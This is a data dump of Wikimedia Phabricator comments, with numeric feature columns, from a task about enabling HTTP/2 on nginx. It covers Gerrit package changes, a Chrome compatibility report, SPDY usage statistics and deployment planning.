[[https://gerrit.wikimedia.org/r/279991]]",,,1461013938,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.5925925925925926,0.8888888888888888,"Change 279991 abandoned by BBlack:
nginx (1.9.12-1 wmf1) jessie-wikimedia; urgency=medium

[[GERRIT_URL]]"
647569,Support HTTP/2,"Change 279990 abandoned by BBlack:
multicert   libssl1.0.2 patches for 1.9.12

[[https://gerrit.wikimedia.org/r/279990]]",,,1461013934,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.473684210526316,0.8947368421052632,"Change 279990 abandoned by BBlack:
multicert   libssl1.0.2 patches for 1.9.12

[[GERRIT_URL]]"
647568,Support HTTP/2,"Change 279989 abandoned by BBlack:
Import Upstream version 1.9.12

[[https://gerrit.wikimedia.org/r/279989]]",,,1461013931,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.352941176470588,0.8823529411764706,"Change 279989 abandoned by BBlack:
Import Upstream version 1.9.12

[[GERRIT_URL]]"
646713,Support HTTP/2,">>! In T96848#2203163, @BBlack wrote:
> Notable: there's an ongoing report of 1.9.14 causing an HTTP/2 proto error in Chrome.  We may need to be wary and stick with .13 or wait for .15: http://mailman.nginx.org/pipermail/nginx-devel/2016-April/008143.html

[[ http://mailman.nginx.org/pipermail/nginx-devel/2016-April/008152.html | It looks like the problem is with Chrome, not Nginx ]], though a [[ http://hg.nginx.org/nginx/rev/8df664ebe037 | workaround ]] has been committed to the Nginx source tree.

https://bugs.chromium.org/p/chromium/issues/detail?id=603182",,,1460747587,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,41,True,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,21.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,10.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,3.119047619047619,0.6666666666666666,"QUOTE
QUOTE

[[ URL | It looks like the problem is with Chrome, not Nginx ]], though a [[ URL | workaround ]] has been committed to the Nginx source tree.

URL"
645031,Support HTTP/2,Notable: there's an ongoing report of 1.9.14 causing an HTTP/2 proto error in Chrome.  We may need to be wary and stick with .13 or wait for .15: http://mailman.nginx.org/pipermail/nginx-devel/2016-April/008143.html,,,1460555836,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,40,True,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,15.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,6.0,15.0,9.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.5588235294117645,0.9411764705882353,Notable: there's an ongoing report of 1.9.14 causing an HTTP/2 proto error in Chrome.  We may need to be wary and stick with .13 or wait for .15: URL
644417,Support HTTP/2,"Making the above analysis harder for anyone else looking: that's not a percentage of client connections using SPDY, it's a percentage of client **requests** using SPDY.  There are many unknown variables on how many requests occur per connection, some of which are directly correlated with whether a client is using SPDY and some of which are not...",,,1460486027,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,40,True,6.0,1.0,0.0,1.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,9.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,3.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,7.0,3.0,1.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,13.0,4.0,0.0,0.0,0.0,1.0,0.0,4.0,4.0,0.0,7.0,1.0,0.0,0.0,4.231884057971015,0.6521739130434783,"Making the above analysis harder for anyone else looking: that's not a percentage of client connections using SPDY, it's a percentage of client **requests** using SPDY.  There are many unknown variables on how many requests occur per connection, some of which are directly correlated with whether a client is using SPDY and some of which are not..."
644369,Support HTTP/2,"Coloring in some additional details. I noticed a regression in first paint time over the past three months and found a correlated slump in the percent of client connections using SPDY. There appears to be a major slump in SPDY penetration in early January, followed by a slow, partial recovery, followed by an additional slump in early April.

{F3866227, size=full, layout=center}
(If you want to examine the graph in Graphite, you can import its [[ https://graphite.wikimedia.org/render/?width=887&height=467&_salt=1460435901.599&from=-100days&target=movingAverage(sumSeries(varnish.clients.spdy.*.rate)%2C40)&target=secondYAxis(movingAverage(frontend.navtiming.firstPaint.desktop.anonymous.median%2C40)) | URL ]]).

I am not able to associate these slumps with a change to the suite of supported protocols in a major browser. What more, the first paint regression which correlates to the slumps in SPDY penetration applies to both desktop and mobile. This suggests to me that they were not caused by a change in client behavior, but instead a change to our infrastructure.",,,1460483059,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,40,True,0.5,0.0,0.0,0.5,1.0,7.5,1.0,0.0,0.0,0.5,6.0,0.0,0.0,0.0,0.5,2.5,0.0,2.5,14.5,0.0,1.5,0.0,0.0,1.0,1.5,0.5,0.0,0.0,0.5,0.0,0.5,3.5,1.0,0.5,0.5,1.0,0.5,0.0,0.0,0.5,0.0,0.5,1.0,2.5,0.5,0.0,0.0,0.0,0.0,17.5,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,8.0,1.5,8.5,1.0,1.5,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,4.5,14.5,3.5,0.0,0.0,0.0,4.5,0.0,1.0,5.0,0.5,1.0,0.5,0.0,0.5,4.023529411764706,0.7058823529411765,"Coloring in some additional details. I noticed a regression in first paint time over the past three months and found a correlated slump in the percent of client connections using SPDY. There appears to be a major slump in SPDY penetration in early January, followed by a slow, partial recovery, followed by an additional slump in early April.

{F3866227, size=full, layout=center}
(If you want to examine the graph in Graphite, you can import its [[ URL | URL ]]).

I am not able to associate these slumps with a change to the suite of supported protocols in a major browser. What more, the first paint regression which correlates to the slumps in SPDY penetration applies to both desktop and mobile. This suggests to me that they were not caused by a change in client behavior, but instead a change to our infrastructure."
644367,Support HTTP/2,"Coloring in some additional details. I noticed a regression in first paint time over the past three months and found a correlated slump in the percent of client connections using SPDY. There appears to be a major slump in SPDY penetration in early January, followed by a slow, partial recovery, followed by an additional slump in early April.

{F3866227, size=full, layout=center}
(If you want to examine the graph in Graphite, you can import its [[ https://graphite.wikimedia.org/render/?width=887&height=467&_salt=1460435901.599&from=-100days&target=movingAverage(sumSeries(varnish.clients.spdy.*.rate)%2C40)&target=secondYAxis(movingAverage(frontend.navtiming.firstPaint.desktop.anonymous.median%2C40)) | URL ]]).

I am not able to associate these slumps with a change to the suite of supported protocols in a major browser. What more, the first paint regression which correlates to the slumps in SPDY penetration applies on both desktop and mobile. This suggests to me that they were not caused by a change in client behavior, but instead a change to our infrastructure.",,,1460482957,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,40,True,0.5,0.0,0.0,0.5,1.0,7.5,1.0,0.0,0.0,0.5,6.0,0.0,0.0,0.0,0.5,2.5,0.0,2.5,14.5,0.0,1.5,0.0,0.0,1.0,1.5,0.5,0.0,0.0,0.5,0.0,0.5,3.5,1.0,0.5,0.5,1.0,0.5,0.0,0.0,0.5,0.0,0.5,1.0,2.5,0.5,0.0,0.0,0.0,0.0,17.5,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,8.0,1.5,8.5,1.0,1.5,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,4.5,14.5,3.5,0.0,0.0,0.0,4.5,0.0,1.0,5.0,0.5,1.0,0.5,0.0,0.5,4.023529411764706,0.711764705882353,"Coloring in some additional details. I noticed a regression in first paint time over the past three months and found a correlated slump in the percent of client connections using SPDY. There appears to be a major slump in SPDY penetration in early January, followed by a slow, partial recovery, followed by an additional slump in early April.

{F3866227, size=full, layout=center}
(If you want to examine the graph in Graphite, you can import its [[ URL | URL ]]).

I am not able to associate these slumps with a change to the suite of supported protocols in a major browser. What more, the first paint regression which correlates to the slumps in SPDY penetration applies on both desktop and mobile. This suggests to me that they were not caused by a change in client behavior, but instead a change to our infrastructure."
644366,Support HTTP/2,"Coloring in some additional details. I noticed a regression in first paint time on desktop over the past three months and found a correlated slump in the percent of client connections using SPDY. There appears to be a major slump in SPDY penetration in early January, followed by a slow, partial recovery, followed by an additional slump in early April.

{F3866227, size=full, layout=center}
(If you want to examine the graph in Graphite, you can import its [[ https://graphite.wikimedia.org/render/?width=887&height=467&_salt=1460435901.599&from=-100days&target=movingAverage(sumSeries(varnish.clients.spdy.*.rate)%2C40)&target=secondYAxis(movingAverage(frontend.navtiming.firstPaint.desktop.anonymous.median%2C40)) | URL ]]).

I am not able to associate these slumps with a change to the suite of supported protocols in a major browser. What more, the first paint regression which correlates to the slumps in SPDY penetration applies on both desktop and mobile. This suggests to me that they were not caused by a change in client behavior, but instead a change to our infrastructure.",,,1460482914,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,40,True,0.5,0.0,0.0,0.5,1.0,7.0,1.0,0.0,0.0,0.5,6.0,0.0,0.0,0.0,0.5,2.0,0.0,2.5,15.0,0.0,1.5,0.0,0.0,1.0,1.5,0.5,0.0,0.0,0.5,0.0,0.5,3.5,1.0,0.5,0.5,1.0,0.5,0.0,0.0,0.5,0.0,0.5,1.0,2.5,0.5,0.0,0.0,0.0,0.0,18.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,8.0,1.5,8.5,1.0,1.5,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,4.5,15.0,3.5,0.0,0.0,0.0,4.5,0.0,1.0,5.0,0.5,1.0,0.5,0.0,0.5,4.029069767441861,0.7151162790697674,"Coloring in some additional details. I noticed a regression in first paint time on desktop over the past three months and found a correlated slump in the percent of client connections using SPDY. There appears to be a major slump in SPDY penetration in early January, followed by a slow, partial recovery, followed by an additional slump in early April.

{F3866227, size=full, layout=center}
(If you want to examine the graph in Graphite, you can import its [[ URL | URL ]]).

I am not able to associate these slumps with a change to the suite of supported protocols in a major browser. What more, the first paint regression which correlates to the slumps in SPDY penetration applies on both desktop and mobile. This suggests to me that they were not caused by a change in client behavior, but instead a change to our infrastructure."
640729,Support HTTP/2,"re: nginx upstream+debian: debian's ""master"" branch is still at 1.9.10-1, but their ""dyn"" branch has work beyond that up through 1.9.13 and not yet released, which also re-structures packaging and whatnot for dynamic modules.  Need to look into whether this plays well as an upgrade on jessie or not.",,,1459865865,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,39,True,0.0,0.0,0.0,0.0,3.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,6.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,18.0,2.0,0.0,6.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.876923076923077,0.8307692307692308,"re: nginx upstream+debian: debian's ""master"" branch is still at 1.9.10-1, but their ""dyn"" branch has work beyond that up through 1.9.13 and not yet released, which also re-structures packaging and whatnot for dynamic modules.  Need to look into whether this plays well as an upgrade on jessie or not."
640045,Support HTTP/2,"Mostly out of curiosity, I've checked which protocols are supported by other top-10 websites by looking at NPN responses: 

| google.com / youtube.com | h2, spdy/3.1, http/1.1 |
| facebook.com | h2, h2-14, spdy/3.1-fb-0.5, spdy/3.1, spdy/3, http/1.1|
| baidu.com |  http/1.1 |
| yahoo.com | h2, h2-14, spdy/3.1, spdy/3, http/1.1, http/1.0 |
| amazon.com | http/1.1 |
| twitter.com | h2, spdy/3.1, http/1.1 |
",,,1459758329,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,39,True,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,5.0,20.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,8.0,3.6842105263157894,0.4421052631578947,"Mostly out of curiosity, I've checked which protocols are supported by other top-10 websites by looking at NPN responses: 

| google.com / youtube.com | h2, spdy/3.1, http/1.1 |
| facebook.com | h2, h2-14, spdy/3.1-fb-0.5, spdy/3.1, spdy/3, http/1.1|
| baidu.com |  http/1.1 |
| yahoo.com | h2, h2-14, spdy/3.1, spdy/3, http/1.1, http/1.0 |
| amazon.com | http/1.1 |
| twitter.com | h2, spdy/3.1, http/1.1 |
"
636544,Support HTTP/2,"Change 280149 merged by BBlack:
configure cp1008 for http2

[[https://gerrit.wikimedia.org/r/280149]]",,,1459220043,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.9411764705882355,0.8823529411764706,"Change 280149 merged by BBlack:
configure cp1008 for http2

[[GERRIT_URL]]"
636543,Support HTTP/2,"Change 280148 merged by BBlack:
tlsproxy: use do_spdy to control http2-vs-spdy

[[https://gerrit.wikimedia.org/r/280148]]",,,1459219889,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.5416666666666665,0.8333333333333334,"Change 280148 merged by BBlack:
tlsproxy: use do_spdy to control http2-vs-spdy

[[GERRIT_URL]]"
636540,Support HTTP/2,"Change 280149 had a related patch set uploaded (by BBlack):
configure cp1008 for http2

[[https://gerrit.wikimedia.org/r/280149]]
",,,1459219413,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.7916666666666665,0.875,"Change 280149 had a related patch set uploaded (by BBlack):
configure cp1008 for http2

[[GERRIT_URL]]
"
636539,Support HTTP/2,"Change 280148 had a related patch set uploaded (by BBlack):
tlsproxy: use do_spdy to control http2-vs-spdy

[[https://gerrit.wikimedia.org/r/280148]]
",,,1459219411,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.5161290322580645,0.8709677419354839,"Change 280148 had a related patch set uploaded (by BBlack):
tlsproxy: use do_spdy to control http2-vs-spdy

[[GERRIT_URL]]
"
636413,Support HTTP/2,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVO_HyARgCrwkbTdl5lm} [2016-03-28T21:26:41Z] <bblack> http/2 enabled on pinkunicorn.wikimedia.org for testing - T96848",,,1459200401,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.909090909090909,0.8484848484848485,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-03-28T21:26:41Z] <bblack> http/2 enabled on pinkunicorn.wikimedia.org for testing - T96848"
636362,Support HTTP/2,"Change 279991 had a related patch set uploaded (by BBlack):
nginx (1.9.12-1 wmf1) jessie-wikimedia; urgency=medium

[[https://gerrit.wikimedia.org/r/279991]]
",,,1459195282,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.4705882352941178,0.8529411764705882,"Change 279991 had a related patch set uploaded (by BBlack):
nginx (1.9.12-1 wmf1) jessie-wikimedia; urgency=medium

[[GERRIT_URL]]
"
636361,Support HTTP/2,"Change 279990 had a related patch set uploaded (by BBlack):
multicert   libssl1.0.2 patches for 1.9.12

[[https://gerrit.wikimedia.org/r/279990]]
",,,1459195281,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.076923076923077,0.8846153846153846,"Change 279990 had a related patch set uploaded (by BBlack):
multicert   libssl1.0.2 patches for 1.9.12

[[GERRIT_URL]]
"
636360,Support HTTP/2,"Change 279989 had a related patch set uploaded (by BBlack):
Import Upstream version 1.9.12

[[https://gerrit.wikimedia.org/r/279989]]
",,,1459195279,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.9583333333333335,0.875,"Change 279989 had a related patch set uploaded (by BBlack):
Import Upstream version 1.9.12

[[GERRIT_URL]]
"
636357,Support HTTP/2,1.9.12 porting/packaging was fairly trivial so far.  Testing on cp1008/pinkunicorn to happen later today or tomorrow.,,,1459195214,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,38,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,9.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.434782608695652,0.9130434782608695,1.9.12 porting/packaging was fairly trivial so far.  Testing on cp1008/pinkunicorn to happen later today or tomorrow.
635831,Support HTTP/2,"The basic plan for moving forward is to start from debian's current 1.9.11 packaging, update it to 1.9.12 (because .12 upstreams our temporary fix for openssl ""shutdown while in init"" log spam, and contains an http/2 socket leak bugfix), and forward-port our multi-cert patches from our custom 1.9.4 package to a new custom 1.9.12 package.  I'm hoping we'll have the package ready for testing on pinkunicorn by mid next week if the forward-porting goes smoothly, or the week after if not.  If functional testing works out, we'll then be in a position to deploy this when we decide it's appropriate to make the switch.  We still do need to take some broader and longer samples with the systemtap method to confirm overall 